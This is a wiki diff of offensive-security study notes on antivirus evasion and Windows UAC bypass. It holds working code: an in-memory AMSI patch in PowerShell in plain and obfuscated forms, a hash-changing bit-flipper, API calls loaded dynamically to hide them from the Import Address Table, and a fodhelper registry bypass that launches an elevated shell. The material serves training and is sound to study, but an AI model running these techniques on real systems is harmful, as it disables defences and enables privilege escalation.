This code loads the <code>Kernel32</code> type, retrieves the address of the <code>AmsiScanBuffer</code> function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective. | This code loads the <code>Kernel32</code> type, retrieves the address of the <code>AmsiScanBuffer</code> function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective. | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$MethodDefinition = " | $MethodDefinition = " | ||
[DllImport(`"kernel32`")] | [DllImport(`"kernel32`")] | ||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | ||
[DllImport(`"kernel32`")] | [DllImport(`"kernel32`")] | ||
public static extern IntPtr GetModuleHandle(string lpModuleName); | public static extern IntPtr GetModuleHandle(string lpModuleName); | ||
[DllImport(`"kernel32`")] | [DllImport(`"kernel32`")] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | ||
"; | "; | ||
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; | $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; | ||
$A = "AmsiScanBuffer" | $A = "AmsiScanBuffer" | ||
| Line 4,711: | Line 3,674: | ||
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); | [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); | ||
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); | $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); | ||
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); | [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Obscured''' | '''Obscured''' | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$MethodDefinition = " | $MethodDefinition = " | ||
[DllImport(`"kernel32`")] | [DllImport(`"kernel32`")] | ||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | ||
[DllImport(`"kernel32`")] | [DllImport(`"kernel32`")] | ||
public static extern IntPtr GetModuleHandle(string lpModuleName); | public static extern IntPtr GetModuleHandle(string lpModuleName); | ||
[DllImport(`"kernel32`")] | [DllImport(`"kernel32`")] | ||
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | ||
"; | "; | ||
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; | $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; | ||
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join '' | $A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join '' | ||
| Line 4,741: | Line 3,697: | ||
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); | [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); | ||
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); | $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); | ||
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); | [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Static Property-Based Signatures == | == Static Property-Based Signatures == | ||
Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma. | Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma. | ||
=== File hashes === | === File hashes === | ||
A '''file hash''', also known as a '''checksum''', is used to tag/identify a unique file. | A '''file hash''', also known as a '''checksum''', is used to tag/identify a unique file. | ||
If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash. | If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash. | ||
When dealing with a signed or closed-source application, we must employ '''bit-flipping'''. | When dealing with a signed or closed-source application, we must employ '''bit-flipping'''. | ||
Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality. | Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.IO; | using System.IO; | ||
class Program | class Program | ||
{ | { | ||
| Line 4,776: | Line 3,722: | ||
{ | { | ||
byte[] orig = File.ReadAllBytes(args[0]); | byte[] orig = File.ReadAllBytes(args[0]); | ||
for (int i = 0; i < orig.Length; i++) | for (int i = 0; i < orig.Length; i++) | ||
{ | { | ||
| Line 4,783: | Line 3,728: | ||
current[i] = (byte)(current[i] ^ 0xde); | current[i] = (byte)(current[i] ^ 0xde); | ||
string path = $"{i}.exe"; | string path = $"{i}.exe"; | ||
File.WriteAllBytes(path, current); | File.WriteAllBytes(path, current); | ||
} | } | ||
Console.WriteLine("done"); | Console.WriteLine("done"); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (<code>i.exe</code>). The <code>^</code> operator is used for bitwise XOR operation to flip the bits. Finally, it prints "done" when the process is completed. | This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (<code>i.exe</code>). The <code>^</code> operator is used for bitwise XOR operation to flip the bits. Finally, it prints "done" when the process is completed. | ||
Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping <code>msbuild</code>, we need to use <code>signtool</code> to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution. | Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping <code>msbuild</code>, we need to use <code>signtool</code> to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution. | ||
We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation. | We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,808: | Line 3,746: | ||
) | ) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Entropy === | === Entropy === | ||
Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators. | Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators. | ||
[[File:2023-06-image-5.png|thumb]] | [[File:2023-06-image-5.png|thumb]] | ||
== Behavioral Signatures == | == Behavioral Signatures == | ||
Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header. | Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header. | ||
[https://learn.microsoft.com/en-us/windows/win32/api/_winsock/ Windows Sockets 2 - Win32 apps | Microsoft Learn] | [https://learn.microsoft.com/en-us/windows/win32/api/_winsock/ Windows Sockets 2 - Win32 apps | Microsoft Learn] | ||
Find Syntax for API calls | Find Syntax for API calls | ||
=== How to inspect Import Address Table (IAT) === | === How to inspect Import Address Table (IAT) === | ||
==== .EXE ==== | ==== .EXE ==== | ||
To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples: | To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples: | ||
* Using Dependency Walker (Windows): | * Using Dependency Walker (Windows): | ||
* Download and install Dependency Walker from the official website: http://www.dependencywalker.com/ | * Download and install Dependency Walker from the official website: http://www.dependencywalker.com/ | ||
* Launch Dependency Walker and open the EXE file you want to inspect. | * Launch Dependency Walker and open the EXE file you want to inspect. | ||
* It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT. | * It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT. | ||
* Using PEView (Windows): | * Using PEView (Windows): | ||
* Download and install PEView from the official website: http://wjradburn.com/software/ | * Download and install PEView from the official website: http://wjradburn.com/software/ | ||
* Launch PEView and open the EXE file you want to inspect. | * Launch PEView and open the EXE file you want to inspect. | ||
* Navigate to the "Imported DLLs" section, which will show the imported functions and the corresponding DLLs in the IAT. | * Navigate to the "Imported DLLs" section, which will show the imported functions and the corresponding DLLs in the IAT. | ||
* Using objdump (Linux): | * Using objdump (Linux): | ||
* Open a terminal and navigate to the directory where the EXE file is located. | * Open a terminal and navigate to the directory where the EXE file is located. | ||
* Run the following command to display the IAT: | * Run the following command to display the IAT: | ||
* <code>objdump -p <binary_file> </code> | * <code>objdump -p <binary_file> </code> | ||
* Replace <code><binary_file></code> with the name of your EXE file. | * Replace <code><binary_file></code> with the name of your EXE file. | ||
* Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries. | * Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries. | ||
2. Using PE Explorer | 2. Using PE Explorer | ||
[http://www.pe-explorer.com/ PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)] | [http://www.pe-explorer.com/ PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)] | ||
3. Using IDA Pro | 3. Using IDA Pro | ||
* Load the PE binary | * Load the PE binary | ||
* Once loaded, click on the "Imports" tab. | * Once loaded, click on the "Imports" tab. | ||
* Look for the API calls. | * Look for the API calls. | ||
[[File:2023-06-Skjermbilde-2023-06-12-135458.png|thumb]] | [[File:2023-06-Skjermbilde-2023-06-12-135458.png|thumb]] | ||
==== .ELF ==== | ==== .ELF ==== | ||
To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples: | To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples: | ||
* Using readelf (Linux): | * Using readelf (Linux): | ||
* Open a terminal and navigate to the directory where the ELF file is located. | * Open a terminal and navigate to the directory where the ELF file is located. | ||
* Run the following command to display the dynamic section and imported symbols: | * Run the following command to display the dynamic section and imported symbols: | ||
<code>readelf -d <binary_file></code> | <code>readelf -d <binary_file></code> | ||
Replace <code><binary_file></code> with the name of your ELF file. | Replace <code><binary_file></code> with the name of your ELF file. | ||
* Look for the "Dynamic Section" in the output. It will contain information about imported symbols and the corresponding shared libraries. | * Look for the "Dynamic Section" in the output. It will contain information about imported symbols and the corresponding shared libraries. | ||
* Using objdump (Linux): | * Using objdump (Linux): | ||
* Open a terminal and navigate to the directory where the ELF file is located. | * Open a terminal and navigate to the directory where the ELF file is located. | ||
* Run the following command to display the dynamic section and imported symbols: | * Run the following command to display the dynamic section and imported symbols: | ||
<code>objdump -p <binary_file></code> | <code>objdump -p <binary_file></code> | ||
Replace <code><binary_file></code> with the name of your ELF file. | Replace <code><binary_file></code> with the name of your ELF file. | ||
* Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries. | * Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries. | ||
* Using nm (Linux): | * Using nm (Linux): | ||
* Open a terminal and navigate to the directory where the ELF file is located. | * Open a terminal and navigate to the directory where the ELF file is located. | ||
* Run the following command to display the symbols and their associated libraries: | * Run the following command to display the symbols and their associated libraries: | ||
<code>nm -D <binary_file></code> | <code>nm -D <binary_file></code> | ||
Replace <code><binary_file></code> with the name of your ELF file. | Replace <code><binary_file></code> with the name of your ELF file. | ||
* Look for the symbols starting with "U" (meaning undefined). These symbols represent imported functions. | * Look for the symbols starting with "U" (meaning undefined). These symbols represent imported functions. | ||
=== High-level Dynamic Loading in C === | === High-level Dynamic Loading in C === | ||
At a high level, we can break up dynamic loading in C languages into four steps, | At a high level, we can break up dynamic loading in C languages into four steps, | ||
* Define the structure of the call | * Define the structure of the call | ||
* Obtain the handle of the module the call address is present in | * Obtain the handle of the module the call address is present in | ||
* Obtain the process address of the call | * Obtain the process address of the call | ||
* Use the newly created call | * Use the newly created call | ||
To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for <code>GetComputerNameA</code> can be found [https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea here]. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below. | To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for <code>GetComputerNameA</code> can be found [https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamea here]. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,979: | Line 3,864: | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly <code>kernel32.dll</code> or <code>ntdll.dll</code> for any Windows API calls. Below is an example of the syntax required to load a library into a module handle. | To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly <code>kernel32.dll</code> or <code>ntdll.dll</code> for any Windows API calls. Below is an example of the syntax required to load a library into a module handle. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,988: | Line 3,871: | ||
HMODULE hkernel32 = LoadLibraryA("kernel32.dll"); | HMODULE hkernel32 = LoadLibraryA("kernel32.dll"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the <code>LoadLibrary</code> call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call. | Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the <code>LoadLibrary</code> call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,997: | Line 3,878: | ||
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA"); | myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, <code>GetProcAddress</code> and <code>LoadLibraryA</code> are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using '''PIC''' ('''P'''osition '''I'''ndependent '''C'''ode). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using '''API unhooking'''. | Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, <code>GetProcAddress</code> and <code>LoadLibraryA</code> are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using '''PIC''' ('''P'''osition '''I'''ndependent '''C'''ode). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using '''API unhooking'''. | ||
=== Task === | === Task === | ||
Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT. | Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT. | ||
'''Original''' | '''Original''' | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 5,015: | Line 3,891: | ||
#include | #include | ||
#include | #include | ||
int main() { | int main() { | ||
printf("GetComputerNameA: 0x%p\\n", GetComputerNameA); | printf("GetComputerNameA: 0x%p\\n", GetComputerNameA); | ||
| Line 5,025: | Line 3,900: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Obfuscated ''' | '''Obfuscated ''' | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 5,034: | Line 3,907: | ||
#include | #include | ||
#include | #include | ||
// 1. Define the structure of the call | // 1. Define the structure of the call | ||
typedef BOOL(WINAPI* myNotGetComputerNameA)( | typedef BOOL(WINAPI* myNotGetComputerNameA)( | ||
| Line 5,040: | Line 3,912: | ||
LPDWORD nSize | LPDWORD nSize | ||
); | ); | ||
int main() { | int main() { | ||
// 2. Obtain the handle of the module the call address is present in | // 2. Obtain the handle of the module the call address is present in | ||
HMODULE hkernel32 = LoadLibraryA("kernel32.dll"); | HMODULE hkernel32 = LoadLibraryA("kernel32.dll"); | ||
// 3. Obtain the process address of the call | // 3. Obtain the process address of the call | ||
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA"); | myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA"); | ||
printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA); | printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA); | ||
| Line 5,058: | Line 3,927: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
= UAC Bypass = | = UAC Bypass = | ||
== User Account Control == | == User Account Control == | ||
=== What is UAC? === | === What is UAC? === | ||
User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can't solely rely on the user's identity to determine if some actions should be authorized. | User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can't solely rely on the user's identity to determine if some actions should be authorized. | ||
Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you're not entirely sure if it's legitimate. Without thinking much about it, you download and open the file. | Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you're not entirely sure if it's legitimate. Without thinking much about it, you download and open the file. | ||
Now, let's consider two scenarios: one with UAC disabled and the other with UAC enabled. | Now, let's consider two scenarios: one with UAC disabled and the other with UAC enabled. | ||
* UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer's security is at risk. | * UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer's security is at risk. | ||
* UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you're suspicious or uncertain about the file's source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer. | * UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you're suspicious or uncertain about the file's source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer. | ||
[[File:2023-06-image-8.png|thumb]] | [[File:2023-06-image-8.png|thumb]] | ||
=== Integrity Levels === | === Integrity Levels === | ||
UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people. | UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people. | ||
UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It's like having a higher security clearance that allows you to enter certain areas. | UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It's like having a higher security clearance that allows you to enter certain areas. | ||
In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It's like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL. | In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It's like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL. | ||
The following 4 ILs are used by Windows, ordered from lowest to highest: | The following 4 ILs are used by Windows, ordered from lowest to highest: | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 5,119: | Line 3,973: | ||
| Reserved for system use. | | Reserved for system use. | ||
|} | |} | ||
=== Filtered Tokens === | === Filtered Tokens === | ||
To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon: | To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon: | ||
* '''Non-administrators''' will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL. | * '''Non-administrators''' will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL. | ||
* '''Administrators''' will receive two access tokens: | * '''Administrators''' will receive two access tokens: | ||
'''Filtered Token:''' A token with Administrator privileges stripped, used for regular operations. This token has Medium IL. | '''Filtered Token:''' A token with Administrator privileges stripped, used for regular operations. This token has Medium IL. | ||
* '''Elevated Token:''' A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL. | * '''Elevated Token:''' A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL. | ||
=== UAC Internals === | === UAC Internals === | ||
At the heart of UAC, we have the '''Application Information Service''' or '''Appinfo'''. Whenever a user requires elevation, the following occurs: | At the heart of UAC, we have the '''Application Information Service''' or '''Appinfo'''. Whenever a user requires elevation, the following occurs: | ||
* The user requests to run an application as administrator. | * The user requests to run an application as administrator. | ||
* A '''ShellExecute''' API call is made using the '''runas''' verb. | * A '''ShellExecute''' API call is made using the '''runas''' verb. | ||
* The request gets forwarded to Appinfo to handle elevation. | * The request gets forwarded to Appinfo to handle elevation. | ||
* The application manifest is checked to see if AutoElevation is allowed (more on this later). | * The application manifest is checked to see if AutoElevation is allowed (more on this later). | ||
* Appinfo executes '''consent.exe''', which shows the UAC prompt on a '''secure desktop'''. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way. | * Appinfo executes '''consent.exe''', which shows the UAC prompt on a '''secure desktop'''. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way. | ||
* If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested. | * If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested. | ||
[[File:fce906f0e438efa938753430e5d25afe.png|thumb|https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/fce906f0e438efa938753430e5d25afe.png]] | [[File:fce906f0e438efa938753430e5d25afe.png|thumb|https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/fce906f0e438efa938753430e5d25afe.png]] | ||
== UAC - GUI based Bypass == | == UAC - GUI based Bypass == | ||
=== msconfig === | === msconfig === | ||
[[File:2023-06-image-10.png|thumb]] | [[File:2023-06-image-10.png|thumb]] | ||
[[File:2023-06-image-11.png|thumb]] | [[File:2023-06-image-11.png|thumb]] | ||
[[File:2023-06-image-12.png|thumb]] | [[File:2023-06-image-12.png|thumb]] | ||
[[File:2023-06-image-13.png|thumb]] | [[File:2023-06-image-13.png|thumb]] | ||
=== azman.msc === | === azman.msc === | ||
[[File:2023-06-image-14.png|thumb]] | [[File:2023-06-image-14.png|thumb]] | ||
[[File:2023-06-image-15.png|thumb]] | [[File:2023-06-image-15.png|thumb]] | ||
[[File:2023-06-image-16.png|thumb]] | [[File:2023-06-image-16.png|thumb]] | ||
[[File:2023-06-image-17.png|thumb]] | [[File:2023-06-image-17.png|thumb]] | ||
[[File:2023-06-image-18-1.png|thumb]] | [[File:2023-06-image-18-1.png|thumb]] | ||
[[File:2023-06-image-19.png|thumb]] | [[File:2023-06-image-19.png|thumb]] | ||
[[File:2023-06-image-20.png|thumb]] | [[File:2023-06-image-20.png|thumb]] | ||
== UAC - Auto-elevating Process == | == UAC - Auto-elevating Process == | ||
Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows. | Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows. | ||
For an application, some requirements need to be met to auto-elevate: | For an application, some requirements need to be met to auto-elevate: | ||
* The executable must be signed by the Windows Publisher | * The executable must be signed by the Windows Publisher | ||
* The executable must be contained in a trusted directory, like <code>%SystemRoot%/System32/</code>'''''' or <code>%ProgramFiles%/</code> | * The executable must be contained in a trusted directory, like <code>%SystemRoot%/System32/</code>'''''' or <code>%ProgramFiles%/</code> | ||
Some application may have additional requirments: | Some application may have additional requirments: | ||
* Executable files (.exe) must declare the '''autoElevate''' element inside their manifests. | * Executable files (.exe) must declare the '''autoElevate''' element inside their manifests. | ||
To check a file's manifest, we can use '''[https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck sigcheck]'''. | To check a file's manifest, we can use '''[https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck sigcheck]'''. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe | C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe | ||
... | ... | ||
true | true | ||
true | true | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Case study: Fodhelper === | === Case study: Fodhelper === | ||
This will be caught by Windows defender without obfuscation because of registry-key manipulation. | This will be caught by Windows defender without obfuscation because of registry-key manipulation. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe | # This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe | ||
# Define the command you want to execute with elevated privileges | # Define the command you want to execute with elevated privileges | ||
$yourevilcommand = "C:\Windows\System32\cmd.exe" | $yourevilcommand = "C:\Windows\System32\cmd.exe" | ||
# Adding all the registry keys required to associate your command with ms-settings | # Adding all the registry keys required to associate your command with ms-settings | ||
# Create a new registry key for the ms-settings ProgID under the current user's hive | # Create a new registry key for the ms-settings ProgID under the current user's hive | ||
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | ||
# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key | # Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key | ||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | ||
